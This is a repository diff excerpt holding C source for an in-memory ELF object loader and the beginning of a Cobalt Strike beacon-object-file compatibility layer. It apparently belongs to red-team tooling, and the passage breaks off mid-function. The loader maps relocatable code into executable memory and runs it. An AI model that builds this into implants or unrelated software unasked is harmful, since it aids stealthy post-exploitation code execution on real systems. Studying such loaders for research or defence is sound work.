* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD$
*/
#define EI_NIDENT 16
#define EM_386 3
#define EM_X86_64 62
#define SHT_PROGBITS 1
#define SHT_SYMTAB 2
#define SHT_STRTAB 3
#define SHT_RELA 4
#define SHT_REL 9
#define R_386_32 1
#define R_386_PC32 2
typedef uint32_t Elf32_Addr;
typedef uint16_t Elf32_Half;
typedef uint32_t Elf32_Off;
typedef int32_t Elf32_Sword;
typedef uint32_t Elf32_Word;
typedef uint64_t Elf32_Lword;
typedef Elf32_Word Elf32_Hashelt;
typedef Elf32_Word Elf32_Size;
typedef Elf32_Sword Elf32_Ssize;
typedef uint64_t Elf64_Addr;
typedef uint16_t Elf64_Half;
typedef uint64_t Elf64_Off;
typedef int32_t Elf64_Sword;
typedef int64_t Elf64_Sxword;
typedef uint32_t Elf64_Word;
typedef uint64_t Elf64_Lword;
typedef uint64_t Elf64_Xword;
typedef Elf64_Word Elf64_Hashelt;
/* Non-standard class-dependent datatype used for abstraction. */
typedef Elf64_Xword Elf64_Size;
typedef Elf64_Sxword Elf64_Ssize;
typedef struct {
unsigned char e_ident[EI_NIDENT]; /* File identification. */
Elf64_Half e_type; /* File type. */
Elf64_Half e_machine; /* Machine architecture. */
Elf64_Word e_version; /* ELF format version. */
Elf64_Addr e_entry; /* Entry point. */
Elf64_Off e_phoff; /* Program header file offset. */
Elf64_Off e_shoff; /* Section header file offset. */
Elf64_Word e_flags; /* Architecture-specific flags. */
Elf64_Half e_ehsize; /* Size of ELF header in bytes. */
Elf64_Half e_phentsize; /* Size of program header entry. */
Elf64_Half e_phnum; /* Number of program header entries. */
Elf64_Half e_shentsize; /* Size of section header entry. */
Elf64_Half e_shnum; /* Number of section header entries. */
Elf64_Half e_shstrndx; /* Section name strings section. */
} Elf64_Ehdr;
typedef struct {
unsigned char e_ident[EI_NIDENT]; /* File identification. */
Elf32_Half e_type; /* File type. */
Elf32_Half e_machine; /* Machine architecture. */
Elf32_Word e_version; /* ELF format version. */
Elf32_Addr e_entry; /* Entry point. */
Elf32_Off e_phoff; /* Program header file offset. */
Elf32_Off e_shoff; /* Section header file offset. */
Elf32_Word e_flags; /* Architecture-specific flags. */
Elf32_Half e_ehsize; /* Size of ELF header in bytes. */
Elf32_Half e_phentsize; /* Size of program header entry. */
Elf32_Half e_phnum; /* Number of program header entries. */
Elf32_Half e_shentsize; /* Size of section header entry. */
Elf32_Half e_shnum; /* Number of section header entries. */
Elf32_Half e_shstrndx; /* Section name strings section. */
} Elf32_Ehdr;
typedef struct {
Elf32_Word sh_name; /* Section name (index into the
section header string table). */
Elf32_Word sh_type; /* Section type. */
Elf32_Word sh_flags; /* Section flags. */
Elf32_Addr sh_addr; /* Address in memory image. */
Elf32_Off sh_offset; /* Offset in file. */
Elf32_Word sh_size; /* Size in bytes. */
Elf32_Word sh_link; /* Index of a related section. */
Elf32_Word sh_info; /* Depends on section type. */
Elf32_Word sh_addralign; /* Alignment in bytes. */
Elf32_Word sh_entsize; /* Size of each entry in section. */
} Elf32_Shdr;
typedef struct {
Elf64_Word sh_name; /* Section name (index into the
section header string table). */
Elf64_Word sh_type; /* Section type. */
Elf64_Xword sh_flags; /* Section flags. */
Elf64_Addr sh_addr; /* Address in memory image. */
Elf64_Off sh_offset; /* Offset in file. */
Elf64_Xword sh_size; /* Size in bytes. */
Elf64_Word sh_link; /* Index of a related section. */
Elf64_Word sh_info; /* Depends on section type. */
Elf64_Xword sh_addralign; /* Alignment in bytes. */
Elf64_Xword sh_entsize; /* Size of each entry in section. */
} Elf64_Shdr;
typedef struct {
Elf64_Word p_type; /* Entry type. */
Elf64_Word p_flags; /* Access permission flags. */
Elf64_Off p_offset; /* File offset of contents. */
Elf64_Addr p_vaddr; /* Virtual address in memory image. */
Elf64_Addr p_paddr; /* Physical address (not used). */
Elf64_Xword p_filesz; /* Size of contents in file. */
Elf64_Xword p_memsz; /* Size of contents in memory. */
Elf64_Xword p_align; /* Alignment in memory and file. */
} Elf64_Phdr;
typedef struct {
Elf32_Word p_type; /* Entry type. */
Elf32_Off p_offset; /* File offset of contents. */
Elf32_Addr p_vaddr; /* Virtual address in memory image. */
Elf32_Addr p_paddr; /* Physical address (not used). */
Elf32_Word p_filesz; /* Size of contents in file. */
Elf32_Word p_memsz; /* Size of contents in memory. */
Elf32_Word p_flags; /* Access permission flags. */
Elf32_Word p_align; /* Alignment in memory and file. */
} Elf32_Phdr;
/* Relocations that don't need an addend field. */
typedef struct {
Elf32_Addr r_offset; /* Location to be relocated. */
Elf32_Word r_info; /* Relocation type and symbol index. */
} Elf32_Rel;
/* Relocations that need an addend field. */
typedef struct {
Elf32_Addr r_offset; /* Location to be relocated. */
Elf32_Word r_info; /* Relocation type and symbol index. */
Elf32_Sword r_addend; /* Addend. */
} Elf32_Rela;
typedef struct {
Elf32_Word st_name; /* String table index of name. */
Elf32_Addr st_value; /* Symbol value. */
Elf32_Word st_size; /* Size of associated object. */
unsigned char st_info; /* Type and binding information. */
unsigned char st_other; /* Reserved (not used). */
Elf32_Half st_shndx; /* Section index of symbol. */
} Elf32_Sym;
typedef struct {
Elf64_Word st_name; /* String table index of name. */
unsigned char st_info; /* Type and binding information. */
unsigned char st_other; /* Reserved (not used). */
Elf64_Half st_shndx; /* Section index of symbol. */
Elf64_Addr st_value; /* Symbol value. */
Elf64_Xword st_size; /* Size of associated object. */
} Elf64_Sym;
/* Relocations that don't need an addend field. */
typedef struct {
Elf64_Addr r_offset; /* Location to be relocated. */
Elf64_Xword r_info; /* Relocation type and symbol index. */
} Elf64_Rel;
/* Relocations that need an addend field. */
typedef struct {
Elf64_Addr r_offset; /* Location to be relocated. */
Elf64_Xword r_info; /* Relocation type and symbol index. */
Elf64_Sxword r_addend; /* Addend. */
} Elf64_Rela;
#endif
+394
View File
@@ -0,0 +1,394 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#ifndef WIN32
#include <sys/mman.h>
#include <dlfcn.h>
#else
#include <windows.h>
#endif
#include "debug.h"
#include "minimal_elf.h"
#include "ELFLoader.h"
#include "beacon_compatibility.h"
#ifdef LIBRARY
__attribute__ ((visibility ("default")))
#endif
unsigned char* unhexlify(unsigned char* value, int arglength, int *outlen){
unsigned char* retval = NULL;
char byteval[3] = {0};
int counter = 0;
int counter2 = 0;
char character = 0;
if (value == NULL){
return NULL;
}
DEBUG_PRINT("Unhexlify Strlen: %lu\n", (long unsigned int)strlen((char*)value));
if (value == NULL || strlen((char*)value)%2 != 0){
DEBUG_PRINT("Either value is NULL, or the hexlified string isn't valid\n");
goto errcase;
}
retval = calloc(strlen((char*)value)+1, 1);
if (retval == NULL){
goto errcase;
}
counter2 = 0;
for (counter = 0; counter < strlen((char*)value); counter += 2){
memcpy(byteval, value+counter, 2);
character = strtol(byteval, NULL, 16);
memcpy(retval+counter2, &character, 1);
counter2++;
}
*outlen = counter2;
errcase:
return retval;
}
#ifdef LIBRARY
__attribute__ ((visibility ("default")))
#endif
int ELFRunner(char* functionName, unsigned char* elfObjectData, unsigned int size, unsigned char* argumentdata, int argumentSize){
#if defined(__amd64__) || defined(__x86_64__) || defined(__i386__) || (defined(DEBUG) && defined(ELFRUNNERTEST))
ELFInfo_t elfinfo;
int counter = 0;
int c2 = 0;
int (*ptr)(unsigned char*, int) = (int (*)(unsigned char *, int))NULL;
int retcode = 0;
int tempOffsetCounter = 0;
memset(&elfinfo, 0, sizeof(ELFInfo_t));
elfinfo.Header = (Elf_Ehdr*) elfObjectData;
/* Verify that the data is an ELF file. */
if (elfObjectData[0] != '\x7f' || elfObjectData[1] != 'E' || elfObjectData[2] != 'L' || elfObjectData[3] != 'F'){
DEBUG_PRINT("Not an elf file\n");
retcode = 1;
goto errorcase;
}
/* Verify that the ELF file is a relocatable file, and not a shared object or binary */
if (elfinfo.Header->e_type != 1){
DEBUG_PRINT("ELF Type isn't relocatable type, bailing...\n");
retcode = 2;
goto errorcase;
}
if (elfinfo.Header->e_machine != COMPILEDMACHINEARCH){
DEBUG_PRINT("ERROR, not the machine type your running on\n");
retcode = -1;
goto errorcase;
}
DEBUG_PRINT("ELF Object Data: %p\n", elfObjectData);
DEBUG_PRINT("ELF Type: %d\n", elfinfo.Header->e_type);
DEBUG_PRINT("ELF Machine: %d\n", elfinfo.Header->e_machine);
DEBUG_PRINT("ELF Version: %d\n", elfinfo.Header->e_version);
DEBUG_PRINT("ELF Entry: 0x%lx\n", elfinfo.Header->e_entry);
DEBUG_PRINT("ELF ProgramHeaderOffset: 0x%lx\n", elfinfo.Header->e_phoff);
DEBUG_PRINT("ELF SectionHeaderOffset: 0x%lx\n", elfinfo.Header->e_shoff);
DEBUG_PRINT("ELF Flags: 0x%x\n", elfinfo.Header->e_flags);
DEBUG_PRINT("ELF Header Size: %d\n", elfinfo.Header->e_ehsize);
DEBUG_PRINT("ELF Program Header Entry Size: %d\n", elfinfo.Header->e_phentsize);
DEBUG_PRINT("ELF Program Header Entry Count: %d\n", elfinfo.Header->e_phnum);
DEBUG_PRINT("ELF Section Header Entry Size: %d\n", elfinfo.Header->e_shentsize);
DEBUG_PRINT("ELF Section Header Entry Count: %d\n", elfinfo.Header->e_shnum);
DEBUG_PRINT("ELF Section Header Table Index Entry: %d\n", elfinfo.Header->e_shstrndx);
/* Set all the headers and sizes */
elfinfo.progHeader = (Elf_Phdr*)(elfObjectData + elfinfo.Header->e_phoff);
elfinfo.sectHeader = (Elf_Shdr*)(elfObjectData + elfinfo.Header->e_shoff);
elfinfo.progHeaderSize = elfinfo.Header->e_phnum;
elfinfo.sectHeaderSize = elfinfo.Header->e_shnum;
/* This is usually whats important for standard in memory loaders, but since this is loading
* object files, this isn't actually used. Leaving in the loader so I can extend later on.*/
DEBUG_PRINT("Working with program headers, Count: %d\n", elfinfo.progHeaderSize);
for (counter = 0; counter < elfinfo.progHeaderSize; counter++){
DEBUG_PRINT("Program Header Entry Counter: %d\n", counter);
DEBUG_PRINT("\tOffset: 0x%lx\n", elfinfo.progHeader[counter].p_offset);
}
/* End the program header loop */
elfinfo.sectionMappings = calloc(elfinfo.sectHeaderSize*sizeof(char*), 1);
elfinfo.sectionMappingProts = calloc(elfinfo.sectHeaderSize*sizeof(int), 1);
/* Make sure that the section mappings and protections array is allocated, if not then error out. */
if (elfinfo.sectionMappings == NULL || elfinfo.sectionMappingProts == NULL){
DEBUG_PRINT("Failed to setup sectionMappings\n");
retcode = 3;
goto errorcase;
}
#ifdef WIN32
elfinfo.tempOffsetTable = VirtualAlloc(NULL, 255*ThunkTrampolineSize, MEM_COMMIT|MEM_RESERVE|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
#else
elfinfo.tempOffsetTable = mmap(NULL, 255*ThunkTrampolineSize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
tempOffsetCounter += 0x5000;
#endif
elfinfo.tempOffsetCounter = 0;
if (elfinfo.tempOffsetTable == NULL || elfinfo.tempOffsetTable == (void*)-1){
DEBUG_PRINT("Failed to allocate the hacky GOT/Thunk function table.\n");
retcode = 4;
goto errorcase;
}
DEBUG_PRINT("Working over section headers, Count: %d\n", elfinfo.sectHeaderSize);
for (counter = 0; counter < elfinfo.sectHeaderSize; counter++){
int sectionProts = PROT_READ | PROT_WRITE;
DEBUG_PRINT("Section Header Entry Counter: %d\n", counter);
DEBUG_PRINT("\tName is %d\n", elfinfo.sectHeader[counter].sh_name);
DEBUG_PRINT("\tType is 0x%x\n", elfinfo.sectHeader[counter].sh_type);
DEBUG_PRINT("\tFlags are 0x%lx\n", elfinfo.sectHeader[counter].sh_flags);
/* Identify the memory permissions here */
if (elfinfo.sectHeader[counter].sh_flags & 0x1){
DEBUG_PRINT("\t\tWriteable Section\n");
sectionProts = PROT_READ | PROT_WRITE;
}
if (elfinfo.sectHeader[counter].sh_flags & 0x4){
DEBUG_PRINT("\t\tExecutable Section\n");
sectionProts = PROT_READ | PROT_EXEC;
}
if (elfinfo.sectHeader[counter].sh_size > 0 && elfinfo.sectHeader[counter].sh_type == SHT_PROGBITS){
#ifdef WIN32
elfinfo.sectionMappings[counter] = VirtualAlloc(NULL, elfinfo.sectHeader[counter].sh_size, MEM_COMMIT|MEM_RESERVE|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
#else
elfinfo.sectionMappings[counter] = mmap(elfinfo.tempOffsetTable+tempOffsetCounter, elfinfo.sectHeader[counter].sh_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
tempOffsetCounter += 0x5000;
#endif
if (elfinfo.sectionMappings[counter] == NULL || elfinfo.sectionMappings[counter] == (void*)-1){
DEBUG_PRINT("\t\t\tFailed to allocate memory for section\n");
retcode = 5;
goto errorcase;
}
memcpy(elfinfo.sectionMappings[counter], elfObjectData+elfinfo.sectHeader[counter].sh_offset, elfinfo.sectHeader[counter].sh_size);
}
else{
/* Not allocating memory because the section isn't needed for the program to run, just used to link. */
DEBUG_PRINT("\t\t\tNot allocating memory for section\n");
elfinfo.sectionMappings[counter] = NULL;
}
elfinfo.sectionMappingProts[counter] = sectionProts;
DEBUG_PRINT("\tAddr is 0x%lx\n", elfinfo.sectHeader[counter].sh_addr);
DEBUG_PRINT("\tOffset is 0x%lx\n", elfinfo.sectHeader[counter].sh_offset);
DEBUG_PRINT("\tSize is %ld\n", elfinfo.sectHeader[counter].sh_size);
DEBUG_PRINT("\tLink is %d\n", elfinfo.sectHeader[counter].sh_link);
DEBUG_PRINT("\tInfo is %d\n", elfinfo.sectHeader[counter].sh_info);
DEBUG_PRINT("\tAddrAlign is %ld\n", elfinfo.sectHeader[counter].sh_addralign);
DEBUG_PRINT("\tEntSize is %ld\n", elfinfo.sectHeader[counter].sh_entsize);
/* Locate the sections that we want to keep track to */
switch (elfinfo.sectHeader[counter].sh_type){
case SHT_SYMTAB:
DEBUG_PRINT("\t\tSymbol Table\n");
elfinfo.symbolTable = (Elf_Sym*)(elfObjectData + elfinfo.sectHeader[counter].sh_offset);
elfinfo.stringTable = (char*)(elfObjectData + elfinfo.sectHeader[elfinfo.sectHeader[counter].sh_link].sh_offset);
DEBUG_PRINT("\t\tSymbolTable: %p\n", elfinfo.symbolTable);
DEBUG_PRINT("\t\tStringTable: %p\n", elfinfo.stringTable);
break;
case SHT_STRTAB:
DEBUG_PRINT("\t\tString Table\n");
elfinfo.sectionStringTable = (char*)(elfObjectData + elfinfo.sectHeader[counter].sh_offset);
break;
default:
DEBUG_PRINT("\t\tCase Not Handled\n");
break;
}
}
DEBUG_PRINT("\nWorking over section headers, Round 2, Count: %d\n", elfinfo.sectHeaderSize);
for (counter = 0; counter < elfinfo.sectHeaderSize; counter++){
DEBUG_PRINT("Section Header Entry Counter: %d\n", counter);
#ifdef DEBUG
char* sym = elfinfo.sectionStringTable + elfinfo.sectHeader[counter].sh_name;
DEBUG_PRINT("\tName is %s\n", sym);
#endif
Elf_Rel* rel = (Elf_Rel*)(elfObjectData + elfinfo.sectHeader[counter].sh_offset);
DEBUG_PRINT("\tType is 0x%x\n", elfinfo.sectHeader[counter].sh_type);
DEBUG_PRINT("\tFlags are 0x%lx\n", elfinfo.sectHeader[counter].sh_flags);
DEBUG_PRINT("\tAddr is 0x%lx\n", elfinfo.sectHeader[counter].sh_addr);
DEBUG_PRINT("\tOffset is 0x%lx\n", elfinfo.sectHeader[counter].sh_offset);
DEBUG_PRINT("\tSize is %ld\n", elfinfo.sectHeader[counter].sh_size);
DEBUG_PRINT("\tLink is %d\n", elfinfo.sectHeader[counter].sh_link);
DEBUG_PRINT("\tInfo is %d\n", elfinfo.sectHeader[counter].sh_info);
DEBUG_PRINT("\tAddrAlign is %ld\n", elfinfo.sectHeader[counter].sh_addralign);
DEBUG_PRINT("\tEntSize is %ld\n", elfinfo.sectHeader[counter].sh_entsize);
/* Handle the relocations here */
if (elfinfo.sectHeader[counter].sh_type == SHT_REL_TYPE){
DEBUG_PRINT("\tRelocation Entries:\n");
for (c2 = 0; c2 < elfinfo.sectHeader[counter].sh_size / sizeof(Elf_Rel); c2++){
char* relocStr = elfinfo.stringTable + elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_name;
char WorkingTrampoline[ThunkTrampolineSize];
memcpy(WorkingTrampoline, ThunkTrampoline, ThunkTrampolineSize);
DEBUG_PRINT("\t\tSymbol: %s\n", relocStr);
DEBUG_PRINT("\t\tType: 0x%lx\n", ELF_R_TYPE(rel[c2].r_info));
DEBUG_PRINT("\t\tSymbolValue: 0x%lx\n", elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_value);
/* This is the section number where the relocation lives in at x + offset, if its 0 then its a symbol to get
* so get the address, store the address, increase the symbol count, and then continue */
DEBUG_PRINT("\t\tShndx: 0x%x\n", elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx);
if (elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx == 0){
/* This function is a function not defined in the object file, so if we can't resolve it then bail. */
void* symaddress = NULL;
int32_t relativeOffsetFunc = 0;
symaddress = internalFunctionLookup(relocStr);
/* TODO: Add an in process function lookup here too */
if (symaddress == NULL){
DEBUG_PRINT("Failed to find a function!!!!!\n");
retcode = 6;
goto errorcase;
}
DEBUG_PRINT("\t\tFound Function Address: %p\n", symaddress);
/* Copy over the symaddress to the location of the trampoline */
memcpy(WorkingTrampoline+THUNKOFFSET, &symaddress, sizeof(void*));
/* Copy the trampoline bytes over to the tempOffsetTable so relocations work */
DEBUG_PRINT("TempOffsetCounter: %d\n", elfinfo.tempOffsetCounter);
memcpy(elfinfo.tempOffsetTable+(elfinfo.tempOffsetCounter*ThunkTrampolineSize), WorkingTrampoline, ThunkTrampolineSize);
/* Calculate the relative offset of the function trampoline */
/* The logic to handle x86_64 is different then x86, so ifdef'ing these out for now */
#if defined(__amd64__) || defined(__x86_64__)
relativeOffsetFunc = (elfinfo.tempOffsetTable + (elfinfo.tempOffsetCounter *ThunkTrampolineSize))-(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset)+rel[c2].r_addend;
DEBUG_PRINT("\t\tRelativeOffsetFunc: 0x%x\n", relativeOffsetFunc);
/* Copy over the relative offset to the trampoline table */
memcpy(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset, &relativeOffsetFunc, 4);
#elif defined(__i386__)
/* Need to correct this for x86 and 32 bit arm targets, think its good now. */
memcpy(&relativeOffsetFunc, elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset, 4);
relativeOffsetFunc += (elfinfo.tempOffsetTable + (elfinfo.tempOffsetCounter *ThunkTrampolineSize))-(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset);
memcpy(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset, &relativeOffsetFunc, 4);
#else
DEBUG_PRINT("ERROR: Not configured for this architecture\n");
#endif
/* Once set increment the Thunk Trampoline counter to the next one */
elfinfo.tempOffsetCounter+=1;
}
else if (elfinfo.sectHeader[counter].sh_flags== 0x40){
/* Handle the relocations for values and functions included in the object file */
/* NOTE: If sh_flags == 0x40, then sh_info contains the section the relocation applies too */
#if defined(__amd64__) || defined(__x86_64__)
int32_t relativeOffset = (elfinfo.sectionMappings[elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx])-(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset)+rel[c2].r_addend + elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_value;
#elif defined(__i386__)
int32_t relativeOffset = 0;
if (ELF_R_TYPE(rel[c2].r_info) == R_386_32){
DEBUG_PRINT("\t\t32bit Direct\n");
memcpy(&relativeOffset, elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset, 4);
//relativeOffset = (elfinfo.sectionMappings[elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx])-(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset)+relativeOffset + elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_value;
relativeOffset += elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_value;
relativeOffset += (int32_t)(elfinfo.sectionMappings[elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx]);
}
else if (ELF_R_TYPE(rel[c2].r_info) == R_386_PC32){
DEBUG_PRINT("\t\tPC relative Address\n");
memcpy(&relativeOffset, elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset, 4);
relativeOffset = (elfinfo.sectionMappings[elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx])-(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset)+relativeOffset + elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_value;
}
#else
int32_t relativeOffset = 0;
#endif
DEBUG_PRINT("\t\tFirstAddress(NoAddend): %p\n", (elfinfo.sectionMappings[elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx]));
#if defined(__amd64__) || defined(__x86_64__)
DEBUG_PRINT("\t\tFirstAddress: %p\n", (elfinfo.sectionMappings[elfinfo.symbolTable[ELF_R_SYM(rel[c2].r_info)].st_shndx]+rel[c2].r_addend));
#endif
DEBUG_PRINT("\t\tSecondAddress(NoOffset): %p\n", (elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]));
DEBUG_PRINT("\t\tSecondAddress: %p\n", (elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset));
DEBUG_PRINT("\t\tRelativeOffset: 0x%x\n", relativeOffset);
/* Copy over the relative offset of the value to the section+offset */
memcpy(elfinfo.sectionMappings[elfinfo.sectHeader[counter].sh_info]+rel[c2].r_offset, &relativeOffset, 4);
}
DEBUG_PRINT("\t\tInfo: 0x%lx\n", rel[c2].r_info);
DEBUG_PRINT("\t\tOffset: 0x%lx\n", rel[c2].r_offset);
#if defined(__amd64__) || defined(__x86_64__)
DEBUG_PRINT("\t\tAddend: 0x%lx\n", rel[c2].r_addend);
#endif
DEBUG_PRINT("\t\t----------------------------------------------------------\n");
}
}
/* Handle the symbols here, get the entry points and all that */
if (elfinfo.sectHeader[counter].sh_type == SHT_SYMTAB){
for (c2 = 0; c2 < elfinfo.sectHeader[counter].sh_size / sizeof(Elf_Sym); c2 += 1){
Elf_Sym* syms = (Elf_Sym*)(elfObjectData + elfinfo.sectHeader[counter].sh_offset);
//DEBUG_PRINT("\t\t0x%x\n", syms[c2].st_name);
DEBUG_PRINT("\t\tSymbolName: %s\n", elfinfo.stringTable + syms[c2].st_name);
if (strcmp(functionName, elfinfo.stringTable + syms[c2].st_name) == 0){
DEBUG_PRINT("\t\t\tFOUND GO!\n");
ptr = (int (*)(unsigned char *, int))elfinfo.sectionMappings[syms[c2].st_shndx] + syms[c2].st_value;
}
DEBUG_PRINT("\t\tSymbolSectionIndex: %d\n", syms[c2].st_shndx);
if (elfinfo.sectionMappings != NULL && syms[c2].st_shndx < elfinfo.sectHeaderSize && syms[c2].st_shndx != 0){
DEBUG_PRINT("\t\tSymbolAddress(real): %p\n", elfinfo.sectionMappings[syms[c2].st_shndx] + syms[c2].st_value);
}
}
}
}
DEBUG_PRINT("TempOffsetTable: %p\n", elfinfo.tempOffsetTable);
#ifdef WIN32
DEBUG_PRINT("Skipping mprotect code for windows, already executable.\n");
#else
if (mprotect(elfinfo.tempOffsetTable, 255*ThunkTrampolineSize, PROT_READ | PROT_EXEC) != 0){
DEBUG_PRINT("Failed to mprotect the thunk table\n");
}
#endif
/* TODO: Set all the permissions of the sectionMappings, sectionMappingProts, and tempOffsetTable */
for (counter = 0; counter < elfinfo.sectHeaderSize; counter++){
DEBUG_PRINT("Section #%d mapped at %p\n", counter, elfinfo.sectionMappings[counter]);
if (elfinfo.sectionMappings[counter] != NULL){
#ifdef WIN32
DEBUG_PRINT("Not doing mprotect for windows, already executable.\n");
#else
if (mprotect(elfinfo.sectionMappings[counter], elfinfo.sectHeader[counter].sh_size, elfinfo.sectionMappingProts[counter]) != 0){
DEBUG_PRINT("Failed to protect memory\n");
}
#endif
}
}
DEBUG_PRINT("Trying to run ptr......\n");
/* NOTE: Change this to pass in arguments for ones that use it */
(void)ptr(argumentdata, argumentSize);
DEBUG_PRINT("Returned from ptr\n");
cleanup:
DEBUG_PRINT("Cleaning up...\n");
for (counter = 0; counter < elfinfo.sectHeaderSize; counter++){
DEBUG_PRINT("Freeing Section #%d\n", counter);
if (elfinfo.sectionMappings != NULL){
if (elfinfo.sectionMappings[counter] != NULL){
#ifdef WIN32
VirtualFree(elfinfo.sectionMappings[counter], 0, MEM_RELEASE);
#else
if (munmap(elfinfo.sectionMappings[counter], elfinfo.sectHeader[counter].sh_size) != 0){
DEBUG_PRINT("Failed to unmap memory\n");
}
#endif
}
}
}
if (elfinfo.tempOffsetTable){
#ifdef WIN32
VirtualFree(elfinfo.tempOffsetTable, 0, MEM_RELEASE);
#else
munmap(elfinfo.tempOffsetTable, 255*ThunkTrampolineSize);
#endif
}
if (elfinfo.sectionMappings){
free(elfinfo.sectionMappings);
}
if (elfinfo.sectionMappingProts){
free(elfinfo.sectionMappingProts);
}
goto retlab;
retlab:
DEBUG_PRINT("Returning\n");
return retcode;
errorcase:
DEBUG_PRINT("ERRORCASE!!!!\n");
goto cleanup;
#else
return -1;
#endif /* Wrapper ifdef for supported arch's */
}
@@ -0,0 +1,357 @@
/*
* Cobalt Strike 4.X BOF compatibility layer
* -----------------------------------------
* The whole point of these files are to allow beacon object files built for CS
* to run fine inside of other tools without recompiling.
*
* Built off of the beacon.h file provided to build for CS.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdarg.h>
#include <string.h>
#include <sys/mman.h>
#include <dlfcn.h>
#include "debug.h"
#include "beacon_compatibility.h"
#define X86PATH "System32"
#define X64PATH "sysnative"
#if defined(__APPLE__) || defined(__FreeBSD__) || defined(__OpenBSD__)
#define INTERNAL_DEFAULT_LIBRARY ((void*) -2)
#else
#define INTERNAL_DEFAULT_LIBRARY NULL
#endif
extern char** environ;
/* Data Parsing */
beacon_function_t BeaconInternalMapping[18] = {
{"BeaconDataParse", (void*)BeaconDataParse},
{"BeaconDataInt", (void*)BeaconDataInt},
{"BeaconDataShort", (void*)BeaconDataShort},
{"BeaconDataLength", (void*)BeaconDataLength},
{"BeaconDataExtract", (void*)BeaconDataExtract},
{"BeaconFormatAlloc", (void*)BeaconFormatAlloc},
{"BeaconFormatReset", (void*)BeaconFormatReset},
{"BeaconFormatFree", (void*)BeaconFormatFree},
{"BeaconFormatAppend", (void*)BeaconFormatAppend},
{"BeaconFormatPrintf", (void*)BeaconFormatPrintf},
{"BeaconFormatToString", (void*)BeaconFormatToString},
{"BeaconFormatInt", (void*)BeaconFormatInt},
{"BeaconPrintf", (void*)BeaconPrintf},
{"BeaconOutput", (void*)BeaconOutput},
{"BeaconIsAdmin", (void*)BeaconIsAdmin},
{"getEnviron", (void*)getEnviron},
{"getOSName", (void*)getOSName}
};
char** getEnviron(void){
return environ;
}
char* getOSName(void){
#ifdef __APPLE__
return "apple";
#elif __FreeBSD__
return "freebsd";
#elif __OpenBSD__
return "openbsd";
#elif __linux__
return "lin";
#else
return "unk";
#endif
}
#ifdef _WIN32
/* A hacky compatible dlsym function for use on windows systems.
* TODO: Implement a internal function lookup function for all OS's that
* will lookup internal functions, and global functions.*/
void *dlsym(void *handle, const char *symbol){
static HMODULE DefaultHandle = NULL;
void* PointerValue = NULL;
if (handle == INTERNAL_DEFAULT_LIBRARY && DefaultHandle == NULL){
DefaultHandle = LoadLibraryA("msvcrt.dll");
}
if (DefaultHandle != NULL){
PointerValue = GetProcAddress(DefaultHandle, symbol);
}
return PointerValue;
}
#endif
void* internalFunctionLookup(char* symbolName){
void* functionaddress = NULL;
int tempcounter = 0;
for (tempcounter = 0; tempcounter < BEACONINTERNALMAPPINGCOUNT; tempcounter++){
if (strcmp(symbolName, BeaconInternalMapping[tempcounter].functionName) == 0){
#ifdef DEBUG
printf("\t\tInternalFunction: %s\n", symbolName);
#endif
functionaddress = BeaconInternalMapping[tempcounter].function;
return functionaddress;
}
}
/*
If not an internal function, then its an external one
This will fail if the loaded BOF uses lib$function naming convention
*/
if (functionaddress == NULL){
functionaddress = dlsym(INTERNAL_DEFAULT_LIBRARY, symbolName);
}
/* Added this to support using lib$function naming convention */
if (functionaddress == NULL)
{
char* locallib = strtok(symbolName, "$");
DEBUG_PRINT("Target library: %s\n", locallib);
char libname[1024] = { 0 };
strcat(libname, locallib);
strcat(libname, ".so");
DEBUG_PRINT("Full Target Library: %s\n", libname);
char* localfunc = strtok(NULL, "$");
localfunc = strtok(localfunc, "@");
DEBUG_PRINT("Target function: %s\n", localfunc);
/* Resolve the symbols here, and set the functionpointervalue */
void* llHandle = dlopen(libname, RTLD_NOW);
DEBUG_PRINT("Library address: %p\n", llHandle);
functionaddress = dlsym(RTLD_DEFAULT, localfunc);
DEBUG_PRINT("functionaddress: %p\n", functionaddress);
DEBUG_PRINT("\n");
}
return functionaddress;
}
uint32_t swap_endianess(uint32_t indata){
uint32_t testint = 0xaabbccdd;
uint32_t outint = indata;
if (((unsigned char*)&testint)[0] == 0xdd){
